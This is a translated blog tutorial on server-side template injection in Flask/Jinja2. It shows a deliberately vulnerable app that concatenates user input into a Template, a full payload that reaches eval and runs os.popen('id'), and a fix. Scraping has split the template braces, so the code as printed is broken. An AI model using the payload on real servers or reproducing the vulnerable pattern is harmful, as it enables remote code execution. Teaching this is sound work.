Flask (Jinja2)--ssti (server-side template injection vulnerability)

Insert picture description here

Reference article: https://www.jianshu.com/p/a1d6ae580add

Basic knowledge

What is Flask?

Flask is a lightweight web application framework written in Python. Its WSGI toolbox uses Werkzeug, and its template engine uses Jinja2.
Flask provides you with tools, libraries and technologies to allow you to build a web application. This web application can be some web page, blog, wiki, web-based calendar application or business website.

from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():    
    return "Hello World!"
 
if __name__ == "__main__":
    app.run()


Simply put the above code, the first 1-2 lines are the initialization process. Lines 3-5 are simply to use the hello function to process the response when accessing http://xxx.xx.xx/ .


Introduction to Jinja2

Jinja 2 is a modern and design-friendly template language for Python, which is modeled on Django templates. Jinja supports python statements


Jinja2 template part of the syntax
variables
Jinja2 uses { {name}} structure to represent a variable, it is a special placeholder, tells the template engine that the value of this position is obtained from the data used when rendering the template
Jinja2 can recognize Variables of all types, even some complex types, such as lists, dictionaries, and objects. In addition, you can also use filters to modify variables. The filter name is added after the variable name, separated by a vertical bar. For example, the following template displays the value of the variable name in capital letters.

Hello, {
    
    {
    
     name|capitalize }}

if&for
statement simple example of if statement

{
    
    % if user %}
     Hello,{
    
    {
    
    user}} !
{
    
    % else %}
     Hello,Stranger!
{
    
    % endif %}

The for statement loops to render a set of elements

<ul>
     {
    
    % for comment in comments %}
         <li>{
    
    {
    
    comment}}</li>
     {
    
    % endfor %}
</ul>

Vulnerability principle

Source code ( app.py )

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

test

Insert picture description here
Insert picture description here

Exploit


Use the poc provided by the official website

{
    
    % for c in [].__class__.__base__.__subclasses__() %}
{
    
    % if c.__name__ == 'catch_warnings' %}
  {
    
    % for b in c.__init__.__globals__.values() %}
  {
    
    % if b.__class__ == {
    
    }.__class__ %}
    {
    
    % if 'eval' in b.keys() %}
      {
    
    {
    
     b['eval']('__import__("os").popen("id").read()') }}
    {
    
    % endif %}
  {
    
    % endif %}
  {
    
    % endfor %}
{
    
    % endif %}
{
    
    % endfor %}

Insert picture description here

Bug fix

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/safe")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello,{
    
    {n}} ")
    return t.render(n=name)

if __name__ == "__main__":
    app.run()

The 6th line of the modified code above, route it to the /safe page for access testing, you can see that the original code injection vulnerability does not exist

Guess you like

Origin blog.csdn.net/qq_25504829/article/details/115285046